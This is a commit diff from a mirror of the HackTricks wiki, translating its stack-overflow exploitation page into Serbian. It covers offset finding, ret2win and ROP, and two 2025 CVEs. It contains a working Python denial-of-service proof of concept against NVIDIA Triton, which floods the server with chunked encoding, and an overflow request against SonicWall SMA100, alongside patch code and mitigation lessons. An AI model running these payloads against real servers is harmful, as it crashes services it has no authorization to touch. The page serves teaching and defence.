mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to sr
This commit is contained in:
parent
313ec6d3d5
commit
3bfcf75246
@ -8,9 +8,9 @@ A **stack overflow** je ranjivost koja se javlja kada program upisuje više poda
|
||||
|
||||
Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
|
||||
|
||||
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može prepisati druge delove steka.
|
||||
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može da prepiše druge delove steka.
|
||||
|
||||
Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
|
||||
Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije kao što su **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
|
||||
|
||||
Na primer, sledeće funkcije bi mogle biti ranjive:
|
||||
```c
|
||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
|
||||
|
||||
Štaviše, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontiguitetna podsekvenca.
|
||||
Štaviše, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontigenta podsekvenca.
|
||||
|
||||
Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
|
||||
|
||||
@ -41,7 +41,7 @@ eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
ili **GEF**:
|
||||
или **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Iskorišćavanje Stack Overflow-a
|
||||
|
||||
Tokom prelivanja (pretpostavljajući da je veličina prelivanja dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
|
||||
Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
|
||||
Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
|
||||
Najčešći način da se zloupotrebi ova vrsta ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovom pokazivaču.
|
||||
|
||||
Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
|
||||
|
||||
### Ret2win
|
||||
|
||||
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
|
||||
U ovim vrstama CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... tehnike
|
||||
|
||||
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
|
||||
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršni stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -81,7 +81,7 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Prelivanje se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
|
||||
Overflow nije uvek u steku, može biti i u **heap-u** na primer:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
@ -98,7 +98,7 @@ Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti,
|
||||
### Primer iz stvarnog sveta: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Dobra demonstracija zašto **`sscanf` nikada ne bi trebalo verovati za parsiranje nepouzdanog unosa** pojavila se 2025. godine u SonicWall-ovom SMA100 SSL-VPN uređaju.
|
||||
Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i krajnju tačku iz bilo kog URI-ja koji počinje sa `/__api__/`:
|
||||
Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i krajnju tačku iz bilo kog URI-a koji počinje sa `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -116,12 +116,72 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitivu (i, uz dodatne informacije o curenju, moguće izvršenje koda). Lekcija je jednostavna:
|
||||
Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitiv (i, uz dodatne informacije o curenju, moguće izvršavanje koda). Lekcija je jednostavna:
|
||||
|
||||
* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`).
|
||||
* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`.
|
||||
|
||||
## References
|
||||
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA-ov Triton Inference Server (≤ v25.06) sadržao je više **stack-based overflows** dostupnih kroz svoj HTTP API.
|
||||
Ranjivi obrazac se ponavljao u `http_server.cc` i `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
/* allocates 16 * n bytes on the stack */
|
||||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) vraća **broj internih segmenata bafera** koji čine trenutni HTTP zahtev telo.
|
||||
2. Svaki segment uzrokuje da se **16-bajtni** `evbuffer_iovec` alocira na **stacku** putem `alloca()` – **bez ikakvog gornjeg ograničenja**.
|
||||
3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može primorati zahtev da se podeli na **stotine hiljada 6-bajtnih delova** (`"1\r\nA\r\n"`). Ovo uzrokuje da `n` raste bez ograničenja dok se stack ne iscrpi.
|
||||
|
||||
#### Dokaz-koncept (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||
s = socket.create_connection((host, port))
|
||||
s.sendall((
|
||||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||
f"Host: {host}:{port}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Inference-Header-Content-Length: 0\r\n"
|
||||
"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n\r\n"
|
||||
).encode())
|
||||
|
||||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||
s.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
A ~3 MB zahtev je dovoljan da prepiše sačuvanu adresu povratka i **sruši** demon na podrazumevanoj verziji.
|
||||
|
||||
#### Patch & Mitigation
|
||||
Izlaz 25.07 zamenjuje nesigurno alociranje steka sa **heap-backed `std::vector`** i graciozno obrađuje `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
v_vec = std::vector<evbuffer_iovec>(n);
|
||||
} catch (const std::bad_alloc &e) {
|
||||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lekcije naučene:
|
||||
* Nikada ne pozivajte `alloca()` sa veličinama koje kontroliše napadač.
|
||||
* Chunked zahtevi mogu drastično promeniti oblik server-side bafera.
|
||||
* Validirajte / ograničite bilo koju vrednost dobijenu iz klijentskog unosa *pre* nego što je upotrebite u alokacijama memorije.
|
||||
|
||||
## Reference
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user